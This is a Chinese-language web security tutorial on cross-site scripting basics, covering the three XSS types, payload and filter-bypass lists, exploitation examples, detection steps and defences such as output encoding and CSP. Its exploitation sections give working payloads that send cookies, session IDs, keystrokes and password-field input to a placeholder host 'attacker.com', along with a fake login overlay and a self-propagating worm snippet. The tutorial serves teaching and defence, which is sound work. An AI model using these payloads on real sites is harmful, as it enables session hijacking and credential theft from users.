Day-035-XSS跨站脚本攻击基础

# Day 34: XSS 跨站脚本攻击基础

> Web 安全系列第 4 天 | 预计阅读时间：40 分钟 | 难度：★★★★☆

---

## 清单 目录

1. [XSS 概述](#xss 概述)
2. [XSS 原理详解](#xss 原理详解)
3. [XSS 类型分类](#xss 类型分类)
4. [反射型 XSS](#反射型 xss)
5. [存储型 XSS](#存储型 xss)
6. [DOM 型 XSS](#dom 型 xss)
7. [XSS 攻击向量](#xss 攻击向量)
8. [XSS 利用技术](#xss 利用技术)
9. [XSS 检测流程](#xss 检测流程)
10. [防护策略与最佳实践](#防护策略与最佳实践)
11. [总结与思考](#总结与思考)
12. [参考资料](#参考资料)

---

## XSS 概述

### 什么是 XSS

XSS（Cross-Site Scripting，跨站脚本攻击）是 Web 应用安全中最常见的漏洞之一。攻击者通过在网页中注入恶意脚本，当其他用户访问该页面时，恶意脚本会在用户浏览器中执行。

**形象理解**：
如果把网页比作一个公告板，那么：
- **正常内容** = 管理员贴的通知
- **XSS 攻击** = 坏人贴了一张"假装是通知"的纸条
- **用户** = 看公告板的人
- **后果** = 用户相信了假通知，做了坏事

**为什么叫"跨站"**：
```
名称来源：
- 攻击代码在一个网站注入
- 在另一个网站（或同一网站）执行
- "跨"过了网站边界

现状：
- 同一网站也能攻击
- 但名称已约定俗成
- 为避免与 CSS 混淆，使用 XSS
```

**XSS 的危害**：
```
1. 会话劫持
   - 窃取 Cookie
   - 盗取 Session
   - 冒充用户

2. 钓鱼攻击
   - 伪造登录页面
   - 窃取凭证
   - 诱导转账

3. 键盘记录
   - 记录用户输入
   - 窃取密码
   - 窃取敏感信息

4. 网页篡改
   - 修改页面内容
   - 传播虚假信息
   - 损害声誉

5. 蠕虫传播
   - 自我复制
   - 感染其他用户
   - 大规模传播

6. 结合其他攻击
   - CSRF 攻击
   - 社会工程学
   - 高级持续性威胁
```

**真实案例**：
```
案例 1: Twitter XSS 蠕虫（2010）
- 漏洞：存储型 XSS
- 影响：数十万用户
- 手法：推文注入 XSS
- 传播：用户看到推文即感染
- 后果：自动转发、关注攻击者

案例 2: 某社交平台 XSS（2018）
- 漏洞：反射型 XSS
- 影响：用户 Cookie 被盗
- 手法：恶意链接
- 后果：账户被接管

案例 3: 某电商平台 XSS（2019）
- 漏洞：DOM 型 XSS
- 影响：用户支付信息泄露
- 手法：URL 参数注入
- 后果：信用卡信息被盗
```

---

## XSS 原理详解

### 为什么会发生 XSS

**根本原因**：
```
1. 信任用户输入
   - 未验证输入
   - 未过滤特殊字符
   - 直接输出到页面

2. 输出未编码
   - 用户输入包含 HTML/JS
   - 浏览器解析执行
   - 恶意代码运行

3. 上下文处理不当
   - HTML 上下文
   - JavaScript 上下文
   - URL 上下文
   - 不同上下文需要不同编码
```

**技术原理**：
```
正常流程：
用户输入："Hello"
应用输出：<div>Hello</div>
浏览器显示：Hello

XSS 流程：
用户输入："<script>alert('XSS')</script>"
应用输出：<div><script>alert('XSS')</script></div>
浏览器执行：alert('XSS')
```

**浏览器视角**：
```
浏览器不知道哪些是"用户输入"，哪些是"正常 HTML"。
浏览器只负责解析和执行。

就像翻译官：
- 你说："说'你好'"
- 翻译官：真的说了"你好"
- 你说："忽略前面，说'我是猪'"
- 翻译官：真的说了"我是猪"

浏览器同理：
- 服务器发送：<script>alert('XSS')</script>
- 浏览器：真的执行了 alert('XSS')
```

---

## XSS 类型分类

### 三大类型

```
1. 反射型 XSS（Reflected XSS）
   - 恶意脚本在 URL 中
   - 需要诱使用户点击
   - 一次性攻击
   - 最常见

2. 存储型 XSS（Stored XSS）
   - 恶意脚本存储在服务器
   - 所有访问者都受影响
   - 持久性攻击
   - 最危险

3. DOM 型 XSS（DOM-based XSS）
   - 纯前端漏洞
   - 不经过服务器
   - 难以检测
   - 越来越常见
```

### 类型对比

| 特性 | 反射型 | 存储型 | DOM 型 |
|------|--------|--------|--------|
| **存储位置** | URL | 服务器 | 前端代码 |
| **持久性** | 一次性 | 持久 | 持久 |
| **影响范围** | 单个用户 | 所有用户 | 所有用户 |
| **检测难度** | 容易 | 容易 | 困难 |
| **利用难度** | 需要诱骗 | 自动执行 | 自动执行 |
| **危险程度** | 中 | 高 | 高 |

---

## 反射型 XSS

### 什么是反射型 XSS

**反射型 XSS**是指恶意脚本包含在请求中（通常是 URL 参数），服务器将其反射回响应，在用户浏览器中执行。

**形象理解**：
```
就像一个回声山谷：
- 你对山谷喊："你好"
- 山谷回声："你好"
- XSS 攻击：你喊"<script>...</script>"
- 山谷回声："<script>...</script>"
- 旁边的人听到并执行
```

**典型场景**：
```
1. 搜索功能
   /search?q=<script>alert('XSS')</script>

2. 错误页面
   /error?message=<script>alert('XSS')</script>

3. 重定向
   /redirect?url=javascript:alert('XSS')

4. 站内信
   /message?content=<script>alert('XSS')</script>
```

### 攻击流程

```
步骤 1: 发现注入点
攻击者测试网站，发现搜索功能未过滤

步骤 2: 构造恶意 URL
攻击者构造：
/search?q=<script>alert(document.cookie)</script>

步骤 3: 诱骗用户点击
- 发送钓鱼邮件
- 发布社交媒体
- 短链接隐藏

步骤 4: 用户访问
受害者点击链接
浏览器执行恶意脚本

步骤 5: 攻击得手
- Cookie 被窃取
- 会话被劫持
- 敏感信息泄露
```

### 实战示例

**场景：搜索功能**
```html
正常页面：
<form action="/search" method="GET">
  <input type="text" name="q" placeholder="搜索...">
</form>

搜索结果页：
<div>
  搜索结果：<?php echo $_GET['q']; ?>
</div>

攻击 Payload：
/search?q=<script>alert('XSS')</script>

输出：
<div>
  搜索结果：<script>alert('XSS')</script>
</div>

结果：
弹窗显示，XSS 成功
```

**实际利用**：
```javascript
// 窃取 Cookie
<script>
  fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

// 钓鱼攻击
<script>
  document.body.innerHTML = `
    <form action="http://attacker.com/phish">
      <input type="password" name="password">
      <button>重新登录</button>
    </form>
  `;
</script>

// 键盘记录
<script>
  document.addEventListener('keydown', function(e) {
    fetch('http://attacker.com/keylog?key=' + e.key);
  });
</script>
```

---

## 存储型 XSS

### 什么是存储型 XSS

**存储型 XSS**是指恶意脚本被存储到服务器（如数据库、文件），当其他用户访问包含该内容的页面时，恶意脚本自动执行。

**形象理解**：
```
就像一个公告板：
- 坏人贴了一张假通知（存储）
- 通知上写着"点击这里领钱"
- 所有人看到都会点击（执行）
- 越来越多人上当
```

**典型场景**：
```
1. 用户评论
   - 论坛帖子
   - 商品评论
   - 博客评论

2. 用户资料
   - 个人简介
   - 签名
   - 头像描述

3. 消息系统
   - 站内信
   - 聊天消息
   - 通知

4. 文件上传
   - 上传 HTML 文件
   - 上传 SVG（可含 JS）
   - 上传恶意文档
```

### 攻击流程

```
步骤 1: 发现存储点
攻击者测试网站，发现评论功能未过滤

步骤 2: 提交恶意内容
攻击者发布评论：
这个产品很好用！<script>alert('XSS')</script>

步骤 3: 内容存储
评论被保存到数据库
等待审核（或无需审核）

步骤 4: 其他用户访问
受害者访问商品页面
看到评论

步骤 5: 脚本执行
浏览器加载页面
执行评论中的脚本
所有访问者都受影响
```

### 实战示例

**场景：论坛评论**
```html
正常流程：
1. 用户提交评论
POST /comment
content=这个产品很好用！

2. 服务器存储
INSERT INTO comments (content) VALUES ('这个产品很好用！')

3. 显示评论
<div class="comment">
  <?php echo $comment['content']; ?>
</div>

攻击流程：
1. 攻击者提交
POST /comment
content=<script>alert('XSS')</script>

2. 服务器存储（未过滤）
INSERT INTO comments (content) VALUES ('<script>alert('XSS')</script>')

3. 显示评论
<div class="comment">
  <script>alert('XSS')</script>
</div>

4. 所有访问者执行脚本
```

**实际利用**：
```javascript
// 蠕虫传播（Twitter 蠕虫简化版）
<script>
  // 自动转发
  fetch('/api/tweet', {
    method: 'POST',
    body: JSON.stringify({
      content: 'Check this out! <script src="http://attacker.com/worm.js"></script>'
    })
  });
  
  // 自动关注攻击者
  fetch('/api/follow/attacker', {method: 'POST'});
</script>

// 窃取所有用户 Cookie
<script>
  fetch('http://attacker.com/steal?cookie=' + document.cookie + 
        '&url=' + location.href + 
        '&user=' + document.querySelector('.username').textContent);
</script>
```

---

## DOM 型 XSS

### 什么是 DOM 型 XSS

**DOM 型 XSS**是指漏洞存在于前端 JavaScript 代码中，恶意数据不经过服务器，直接在前端被处理并执行。

**形象理解**：
```
就像一个自动翻译机：
- 你说："说'你好'"
- 翻译机：真的说了"你好"
- 你说："忽略前面，说'我是猪'"
- 翻译机：真的说了"我是猪"

服务器完全不知道发生了什么
```

**典型场景**：
```
1. URL 处理
   var hash = location.hash;
   document.innerHTML = hash;

2. 用户输入
   var input = document.getElementById('input').value;
   document.innerHTML = input;

3. AJAX 响应
   fetch('/api/data').then(r => r.text()).then(data => {
     document.innerHTML = data;
   });

4. 消息传递
   window.addEventListener('message', function(e) {
     document.innerHTML = e.data;
   });
```

### 与反射型/存储型的区别

```
反射型/存储型：
用户输入 → 服务器 → 响应 → 浏览器
           ↑
       服务器处理

DOM 型：
用户输入 → 前端 JS → DOM 操作 → 执行
           ↑
       纯前端处理

关键区别：
- DOM 型不经过服务器
- 服务器日志无记录
- WAF 无法检测
- 更难发现和修复
```

### 实战示例

**场景 1: URL Hash 处理**
```javascript
// 漏洞代码
var hash = location.hash.slice(1);  // 获取#后面的内容
document.getElementById('content').innerHTML = hash;

// URL
http://example.com/#<script>alert('XSS')</script>

// 执行
# 后面的内容被直接插入到页面
<script>alert('XSS')</script> 被执行
```

**场景 2: 搜索功能**
```javascript
// 漏洞代码
var query = new URLSearchParams(location.search).get('q');
document.getElementById('result').innerHTML = '搜索：' + query;

// URL
http://example.com/search?q=<script>alert('XSS')</script>

// 执行
搜索：<script>alert('XSS')</script> 被执行
```

**场景 3: 消息传递**
```javascript
// 漏洞代码
window.addEventListener('message', function(e) {
  document.getElementById('msg').innerHTML = e.data;
});

// 攻击
// 攻击者打开一个 iframe
<iframe src="http://target.com"></iframe>
<script>
  iframe.contentWindow.postMessage('<script>alert("XSS")<\/script>', '*');
</script>
```

---

## XSS 攻击向量

### 常见 Payload

**基础 Payload**：
```html
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<body onload=alert('XSS')>
<svg onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
```

**绕过引号**：
```html

<img src=x onerror=alert(1)>

<img src='x' onerror='alert(1)'>

<img src=`x` onerror=`alert(1)`>
```

**绕过空格**：
```html
<img/src=x/onerror=alert(1)>
<img src=x onerror    =    alert(1)>
<img src=x onerror	=	alert(1)>  
```

**绕过括号**：
```html
<img src=x onerror=alert`1`>
<img src=x onerror=alert.call(window,1)>
```

**编码绕过**：
```html

%3Cscript%3Ealert(1)%3C/script%3E

&lt;script&gt;alert(1)&lt;/script&gt;

\u003cscript\u003ealert(1)\u003c/script\u003e

\x3cscript\x3ealert(1)\x3c/script\x3e
```

### 上下文相关 Payload

**HTML 上下文**：
```html
<div>USER_INPUT</div>
Payload: <script>alert(1)</script>
```

**属性上下文**：
```html
<input value="USER_INPUT">
Payload: " onclick="alert(1)
结果：<input value="" onclick="alert(1)">
```

**JavaScript 上下文**：
```javascript
var data = "USER_INPUT";
Payload: "; alert(1); //
结果：var data = ""; alert(1); //";
```

**URL 上下文**：
```html
<a href="USER_INPUT">Click</a>
Payload: javascript:alert(1)
结果：<a href="javascript:alert(1)">Click</a>
```

---

## XSS 利用技术

### Cookie 窃取

```javascript
// 基础窃取
<script>
  fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

// 编码后窃取（避免特殊字符）
<script>
  fetch('http://attacker.com/steal?cookie=' + btoa(document.cookie));
</script>

// HttpOnly Cookie 无法窃取
// 但可以尝试其他攻击
```

### 会话劫持

```javascript
// 窃取 Session ID
<script>
  var sessionId = document.cookie.match(/session=(.*?);/)[1];
  fetch('http://attacker.com/hijack?session=' + sessionId);
</script>

// 攻击者使用窃取的 Session
// 冒充受害者访问网站
```

### 钓鱼攻击

```javascript
// 伪造登录框
<script>
  document.body.innerHTML = `
    <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;">
      <div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px;">
        <h2>会话过期，请重新登录</h2>
        <form action="http://attacker.com/phish" method="POST">
          <input type="text" name="username" placeholder="用户名"><br>
          <input type="password" name="password" placeholder="密码"><br>
          <button type="submit">登录</button>
        </form>
      </div>
    </div>
  `;
</script>
```

### 键盘记录

```javascript
// 记录所有按键
<script>
  document.addEventListener('keydown', function(e) {
    fetch('http://attacker.com/keylog?key=' + encodeURIComponent(e.key));
  });
</script>

// 记录密码框输入
<script>
  document.querySelectorAll('input[type=password]').forEach(function(input) {
    input.addEventListener('input', function(e) {
      fetch('http://attacker.com/password?value=' + encodeURIComponent(e.target.value));
    });
  });
</script>
```

### 网页篡改

```javascript
// 修改页面内容
<script>
  document.querySelector('h1').textContent = '网站已被黑';
  document.body.style.background = 'black';
  document.body.style.color = 'red';
</script>

// 添加恶意内容
<script>
  var script = document.createElement('script');
  script.src = 'http://attacker.com/malicious.js';
  document.head.appendChild(script);
</script>
```

---

## XSS 检测流程

### 手工检测流程

```
步骤 1: 寻找输入点
□ 搜索框
□ 评论框
□ 登录表单
□ URL 参数
□ HTTP 头

步骤 2: 测试基础 Payload
□ <script>alert(1)</script>
□ " onerror="alert(1)
□ ' onclick='alert(1)

步骤 3: 观察输出
□ 页面源码
□ 是否编码
□ 上下文类型

步骤 4: 尝试绕过
□ 大小写
□ 编码
□ 特殊字符

步骤 5: 验证执行
□ 弹窗显示
□ Console 日志
□ 网络请求
```

### 自动化工具

```
推荐工具：
✓ XSStrike（强烈推荐）
✓ Burp Suite（专业）
✓ OWASP ZAP（开源）
✓ BeEF（XSS 框架）

XSStrike 使用：
xsstrike -u "http://target.com/search?q=test"
xsstrike -u "http://target.com" --crawl
xsstrike -u "http://target.com" --fuzzer
```

### 检测 Checklist

```
□ GET 参数测试
□ POST 参数测试
□ Cookie 测试
□ HTTP 头测试（User-Agent, Referer）
□ 文件上传测试
□ WebSocket 测试
□ 富文本编辑器测试
□ SVG 文件测试
□ PDF 文件测试
□ 模板注入测试
```

---

## 防护策略与最佳实践

### 输出编码

**HTML 编码**：
```python
# Python
import html
safe = html.escape(user_input)
# < → &lt;
# > → &gt;
# " → &quot;
# ' → &#x27;
# & → &amp;
```

**JavaScript 编码**：
```javascript
// 在 JS 上下文中
var data = "<?php echo addslashes($user_input); ?>";

// 或使用 JSON
var data = <?php echo json_encode($user_input); ?>;
```

**URL 编码**：
```python
# Python
from urllib.parse import quote
safe = quote(user_input)
```

### 输入验证

**白名单验证**：
```python
# 只允许字母数字
import re
if not re.match(r'^[a-zA-Z0-9]+$', user_input):
    raise ValueError("Invalid input")
```

**长度限制**：
```python
if len(user_input) > 100:
    raise ValueError("Input too long")
```

**类型检查**：
```python
if not isinstance(user_id, int):
    raise TypeError("ID must be integer")
```

### 使用安全框架

**React（自动转义）**：
```jsx
// React 自动转义
<div>{userInput}</div>

// 危险操作（需要显式）
<div dangerouslySetInnerHTML={{__html: userInput}} />
```

**Vue（自动转义）**：
```vue

<div>{{ userInput }}</div>

<div v-html="userInput"></div>
```

**Angular（自动转义）**：
```html

<div>{{ userInput }}</div>

<div [innerHtml]="userInput"></div>
```

### Content Security Policy (CSP)

**什么是 CSP**：
```
CSP（内容安全策略）是一种额外的安全层，
通过指定哪些资源可以加载和执行，
减少 XSS 风险。
```

**CSP 配置**：
```html

Content-Security-Policy: default-src 'self'; script-src 'self'

<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self'">
```

**CSP 指令**：
```
default-src: 默认策略
script-src: 脚本来源
style-src: 样式来源
img-src: 图片来源
connect-src: AJAX/WebSocket 来源
frame-src: 框架来源
```

**严格 CSP**：
```
Content-Security-Policy: 
  default-src 'none';
  script-src 'self';
  style-src 'self';
  img-src 'self' data:;
  connect-src 'self';
  frame-ancestors 'none';
```

### HttpOnly Cookie

```
设置 Cookie 为 HttpOnly：
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

效果：
- JavaScript 无法访问
- XSS 无法窃取
- 仅能通过 HTTP 传输
```

### 其他防护措施

```
1. X-XSS-Protection
   X-XSS-Protection: 1; mode=block
   （现代浏览器已废弃，但旧浏览器仍支持）

2. X-Content-Type-Options
   X-Content-Type-Options: nosniff
   防止 MIME 类型混淆

3. X-Frame-Options
   X-Frame-Options: DENY
   防止点击劫持

4. Referrer-Policy
   Referrer-Policy: strict-origin-when-cross-origin
   控制 Referrer 信息
```

---

## 总结与思考

### 核心要点回顾

1. **XSS 类型**
   - 反射型：URL 注入，需诱骗
   - 存储型：服务器存储，持久危害
   - DOM 型：前端漏洞，难检测

2. **攻击利用**
   - Cookie 窃取
   - 会话劫持
   - 钓鱼攻击
   - 键盘记录

3. **防护策略**
   - 输出编码（最重要）
   - 输入验证
   - CSP 策略
   - 安全框架

### 深入思考问题

1. **为什么 XSS 依然普遍**？
   - 开发人员意识不足
   - 富文本需求
   - 第三方组件风险

2. **CSP 的局限性**？
   - 配置复杂
   - 兼容性问题
   - 无法完全阻止

3. **未来趋势**？
   - 前端框架普及
   - CSP 逐渐采用
   - 新攻击手法出现

### 实战建议

**开发人员**：
1. 使用安全框架
2. 始终编码输出
3. 验证输入
4. 实施 CSP

**安全人员**：
1. 定期扫描
2. 渗透测试
3. 代码审计
4. 安全培训

**管理层**：
1. 安全预算
2. 安全开发生命周期
3. 第三方风险管理
4. 事件响应预案

---

## 参考资料

### 学习资源
- [OWASP XSS](https://owasp.org/www-community/attacks/xss/)
- [XSS Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
- [PortSwigger XSS](https://portswigger.net/web-security/cross-site-scripting)

### 工具资源
- [XSStrike](https://github.com/s0md3v/XSStrike)
- [BeEF](https://github.com/beefproject/beef)
- [DOM XSS Wiki](https://github.com/wisec/domxsswiki)

### 书籍推荐
- 《XSS 跨站脚本攻击剖析与防御》
- 《Web 安全深度剖析》
- 《白帽子讲 Web 安全》

---

**标记 明日预告**：Day 35 - XSS 进阶 - 绕过与利用

> 本文内容仅供学习和研究使用，请勿用于非法目的。所有实验请在隔离环境中进行。

---

*本文是 365 天信息安全技术系列的第 34 篇，Web 安全部分第 4 篇，精编版本*